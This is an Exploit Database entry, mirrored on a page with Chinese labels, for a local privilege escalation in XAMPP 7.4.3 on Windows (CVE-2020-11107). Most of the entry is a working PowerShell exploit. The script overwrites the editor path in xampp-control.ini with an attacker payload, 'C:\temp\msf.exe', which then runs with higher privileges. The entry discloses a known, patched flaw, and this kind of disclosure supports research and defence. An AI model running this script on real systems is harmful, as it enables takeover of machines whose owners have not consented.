XAMPP 7.4.3 – Local Privilege Escalation

• Exploit Database
• 19 阅读

• 作者： Salman Asad
  日期： 2021-09-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50337/

• # Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
  # Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
  # Original Author: Maximilian Barz (@S1lkys)
  # Date: 27/09/2021
  # Vendor Homepage: https://www.apachefriends.org
  # Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
  # Tested on: Windows 10 + XAMPP 7.3.10
  # References: https://github.com/S1lkys/CVE-2020-11107
  
  $file = "C:\xampp\xampp-control.ini"
  $find = ((Get-Content $file)[2] -Split "=")[1]
  # Insert your payload path here
  $replace = "C:\temp\msf.exe"
  (Get-Content $file) -replace $find, $replace | Set-Content $file